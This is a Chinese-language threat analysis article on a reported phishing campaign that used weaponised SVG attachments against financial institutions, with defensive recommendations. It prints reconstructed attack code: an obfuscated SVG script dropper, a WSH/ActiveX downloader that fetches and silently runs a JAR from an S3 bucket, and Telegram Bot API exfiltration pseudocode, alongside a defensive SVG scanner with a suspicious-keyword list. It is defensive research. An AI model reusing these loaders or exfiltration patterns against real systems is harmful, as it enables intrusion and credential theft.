
摘要
近年来,网络攻击者不断探索新型初始访问载体以绕过传统安全检测体系。其中,可缩放矢量图形(Scalable Vector Graphics, SVG)因其在Web标准中的合法地位及多数邮件安全网关对其内容缺乏深度解析能力,逐渐成为高级持续性威胁(APT)和大规模钓鱼活动的首选投递媒介。本文基于对2025年IBM X-Force披露的一起针对全球金融机构的钓鱼战役的深入分析,系统阐述了武器化SVG文件的技术实现路径、多阶段感染链构建逻辑、规避检测机制及其在金融语境下的社会工程策略。研究发现,该攻击链通过嵌入混淆JavaScript代码,在用户交互后触发ZIP归档下载,并进一步部署基于Java的模块化远程访问木马(RAT),最终实现凭证窃取、会话劫持与数据外泄。文章结合静态与动态分析方法,还原攻击流程,并提出涵盖终端防护、网络流量监控、用户意识培训及文件类型策略调整在内的多层次防御框架。本文还提供了典型恶意SVG样本的代码结构解析与模拟执行示例,为安全研究人员与防御方提供可复现的技术参考。
关键词:SVG;钓鱼攻击;金融安全;恶意JavaScript;Java RAT;初始访问向量;云基础设施滥用
1. 引言
随着电子邮件安全过滤技术的持续演进,传统附件类型如.doc、.xls、.pdf等已受到较为严密的监控。攻击者为维持攻击成功率,不断转向低关注度、高信任度的文件格式作为初始载荷载体。SVG作为一种基于XML的矢量图像格式,被广泛用于网页图标、响应式设计及金融票据可视化场景,其本身支持内嵌脚本(尤其是JavaScript),且多数企业邮件网关默认允许其通行,这使其成为理想的“隐形”攻击通道。
2025年,IBM X-Force披露了一起大规模针对金融机构的钓鱼活动,首次系统性地展示了SVG作为初始访问向量在真实世界攻击中的成熟应用。该活动不仅利用SWIFT(环球银行金融电信协会)主题的社会工程诱饵提升点击率,更构建了从SVG → JavaScript → ZIP → JAR → 模块化RAT的完整多阶段感染链,并借助Amazon S3与Telegram Bot API实现隐蔽的命令与控制(C2)通信。此类攻击标志着钓鱼活动已从简单的凭证窃取,演变为具备持久化、模块化与环境感知能力的初始入侵操作。
本文旨在深入剖析此类武器化SVG攻击的技术细节,厘清其在金融行业背景下的战术特殊性,并构建一套可落地的防御体系。全文结构如下:第二部分综述SVG文件格式的安全特性与历史滥用案例;第三部分详细拆解本次攻击的技术链条,包括SVG构造、JavaScript混淆、Java加载器行为及RAT功能;第四部分分析攻击者采用的规避与隐蔽技术;第五部分提出针对性防御建议并辅以代码示例;第六部分总结研究发现与未来趋势。

2. SVG格式的安全特性与历史滥用
SVG是一种基于XML的开放标准矢量图形格式,由W3C制定,广泛用于现代Web开发。其核心优势在于分辨率无关性与可编程性。SVG文档可通过<script>标签或事件处理器(如onload、onclick)嵌入JavaScript代码,实现动态交互效果。然而,这一特性也为恶意利用提供了可能。
历史上,SVG曾多次被用于XSS(跨站脚本攻击)或浏览器漏洞利用,但作为独立邮件附件的大规模恶意投递相对罕见。主要原因在于:(1)多数用户不熟悉SVG文件,打开意愿较低;(2)部分邮件客户端(如Outlook)默认不渲染SVG内容;(3)传统反病毒引擎对SVG的解析深度不足,常仅检查文件头而忽略内部脚本。
然而,攻击者通过精心设计的社会工程策略(如伪装为“SWIFT交易确认图”)显著提升了用户交互率。同时,现代浏览器(Chrome、Firefox、Edge)普遍支持本地SVG文件的脚本执行,使得一旦用户双击打开附件,嵌入的JavaScript即可在本地上下文中运行,绕过同源策略限制,直接访问本地文件系统(通过Blob与URL.createObjectURL等API)。

3. 攻击技术链条深度解析
3.1 初始投递:伪装为金融文档的SVG
攻击者发送钓鱼邮件,主题通常为“紧急:SWIFT MT103付款确认待审核”或“案件编号86-2025:金融犯罪调查附件”,附件命名为Swift_Confirmation.svg或Case_86-2025.svg。文件外观为一张包含银行Logo、交易金额、IBAN等信息的静态图像,诱导用户认为其为合法业务文档。
实际上,该SVG文件包含如下关键结构:
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">
<image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA..." />
<script type="application/ecmascript"><![CDATA[
// 混淆后的JavaScript载荷
eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,100,111,119,110,108,111,97,100,40,41,123...));
]]></script>
</svg>
当用户在支持脚本的浏览器中打开该文件时,<script>标签内的代码被执行。
3.2 第一阶段:JavaScript下载器
嵌入的JavaScript经过多层混淆(Unicode转义、字符串拼接、Base64编码等),其核心功能为构造一个ZIP归档并触发自动下载。典型逻辑如下(经反混淆后):
function downloadZip() {
const zipData = atob("UEsDBBQACAgI..."); // Base64编码的ZIP二进制
const blob = new Blob([Uint8Array.from(atob(zipData), c => c.charCodeAt(0))], {type: 'application/zip'});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'Swift_Transaction_Report.zip';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
window.onload = downloadZip;
该脚本在页面加载完成后立即执行,生成一个名为Swift_Transaction_Report.zip的压缩包并提示用户下载。用户解压后得到一个名为Swift Transaction Report.js的JavaScript文件。
3.3 第二阶段:JavaScript到Java加载器
Swift Transaction Report.js同样高度混淆,其主要任务是从远程服务器下载JAR文件。示例如下:
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", "https://octupusgreat.s3.us-east-1.amazonaws.com/Swift_Confirmation_Copy.jar", false);
xhr.send();
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // binary
stream.Open();
stream.Write(xhr.responseBody);
stream.SaveToFile("C:\\Users\\Public\\Swift Confirmation Copy.jar", 2);
// 执行JAR
var shell = new ActiveXObject("WScript.Shell");
shell.Run('java -jar "C:\\Users\\Public\\Swift Confirmation Copy.jar"', 0, false);
值得注意的是,该脚本优先使用ActiveXObject(仅Windows IE/Edge兼容模式支持),表明攻击者主要针对Windows环境。若系统未安装Java运行时环境(JRE),攻击链在此中断。

3.4 第三阶段:Java加载器与模块化RAT部署
下载的JAR文件(如Swift Confirmation Copy.jar)使用Branchlock、Zelix KlassMaster等商业混淆器保护,增加静态分析难度。其核心逻辑包括:
环境检测:检查进程列表(如tasklist.exe)、虚拟机特征(如VMwareService.exe)、高熵值(判断是否为沙箱);
C2通信:连接预设的Amazon S3桶,下载加密的第二阶段载荷;
持久化:将RAT写入%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\目录;
模块加载:根据目标环境选择部署Blue Banana、SambaSpy、SessionBot或STRRAT。
以Blue Banana RAT为例,其功能包括:
远程Shell执行;
窃取FileZilla、WinSCP等FTP客户端凭证;
参与DDoS攻击;
通过No-IP动态域名(如wwce.zapto.org)回连C2。
SessionBot则轻量级,专注于系统侦察,并通过Telegram Bot API外传数据:
// SessionBot伪代码示意
String botToken = "7369538001:AAGx...";
String chatId = "123456789";
String data = getSystemInfo(); // 获取RDP历史、公网IP等
HttpURLConnection conn = (HttpURLConnection) new URL(
"https://api.telegram.org/bot" + botToken + "/sendMessage"
).openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
String payload = "chat_id=" + chatId + "&text=" + URLEncoder.encode(data, "UTF-8");
conn.getOutputStream().write(payload.getBytes());

4. 规避与隐蔽技术分析
4.1 文件格式伪装与信任滥用
攻击者充分利用SVG的“图像”属性降低用户警惕性。同时,所有下载的JAR、JS文件均使用金融相关命名(如Tranzacție+în+USD-pdf.jar),并在执行后释放同名PDF或TXT作为诱饵文件,维持“操作成功”的假象。
4.2 合法云基础设施滥用
Amazon S3作为全球广泛使用的对象存储服务,其域名(*.amazonaws.com)通常被企业防火墙白名单放行。攻击者创建看似随机的桶名(如seasonmonster),上传加密载荷,使恶意流量混入正常业务流量,极大提升检测难度。
4.3 加密通信与C2分散化
除S3外,C2通信通过Telegram Bot API进行。由于Telegram使用TLS加密,且API端点(api.telegram.org)为合法服务,传统IDS/IPS难以识别其载荷内容。攻击者通过不同Bot Token区分受害者,实现横向隔离。
4.4 环境感知与延迟执行
Java加载器在执行前进行多轮环境验证,包括:
检查CPU核心数(沙箱通常资源受限);
检测鼠标移动、键盘输入(判断是否为真实用户);
延迟数分钟后再连接C2,规避短时沙箱分析。

5. 防御机制构建
5.1 终端层面
禁用SVG脚本执行:通过组策略或浏览器扩展禁止本地SVG文件运行JavaScript;
限制Java执行:非必要不安装JRE;若必须使用,限制其网络访问权限;
强化EDR规则:监控wscript.exe执行.js文件、java -jar启动未知JAR等行为。
5.2 网络层面
S3流量审计:对出站至*.s3.*.amazonaws.com的请求进行日志记录,标记非常规桶名访问;
Telegram API监控:虽无法解密内容,但可统计异常高频请求;
DNS sinkholing:将已知恶意No-IP域名(如wwce.zapto.org)解析至黑洞。
5.3 邮件安全策略
SVG附件阻断或深度扫描:在邮件网关部署SVG解析引擎,提取并分析<script>内容;
文件类型重命名策略:将所有.svg附件重命名为.svg.txt,强制用户手动更改后缀才能打开,增加交互成本。
5.4 用户意识培训
针对财务、合规等高风险岗位,开展专项培训:
强调“任何附件都需验证来源”;
演示SVG文件如何包含脚本;
模拟SWIFT钓鱼邮件进行红蓝对抗演练。
5.5 代码示例:SVG静态检测规则
以下Python脚本可用于初步筛查可疑SVG:
import re
import sys
def check_malicious_svg(file_path):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# 检查是否存在<script>标签
if re.search(r'<script[^>]*>', content, re.IGNORECASE):
print(f"[ALERT] Suspicious <script> tag found in {file_path}")
return True
# 检查on*事件处理器
if re.search(r'on\w+\s*=', content, re.IGNORECASE):
print(f"[ALERT] Event handler detected in {file_path}")
return True
# 检查eval、atob、ActiveXObject等可疑关键词
suspicious_keywords = ['eval', 'atob', 'ActiveXObject', 'WScript.Shell']
for kw in suspicious_keywords:
if kw in content:
print(f"[ALERT] Suspicious keyword '{kw}' in {file_path}")
return True
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python svg_scanner.py <file.svg>")
sys.exit(1)
check_malicious_svg(sys.argv[1])
该工具可集成至邮件网关或终端EDR中,作为第一道防线。
6. 结论
武器化SVG文件代表了钓鱼攻击向“低感知、高隐蔽、多阶段”方向演进的新范式。本文通过对2025年针对金融机构的全球钓鱼战役的剖析,揭示了攻击者如何利用SVG的合法特性、金融行业的信任语境以及云基础设施的普遍性,构建一条高效且难以检测的入侵链。研究表明,单纯依赖传统签名或沙箱已不足以应对此类威胁。有效的防御必须融合文件格式策略、网络流量分析、终端行为监控与人员意识提升,形成纵深防御体系。未来,随着更多非传统文件格式(如WebP、AVIF)被探索用于恶意投递,安全社区需持续更新检测逻辑,将“一切皆可载荷”的理念纳入防御思维之中。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。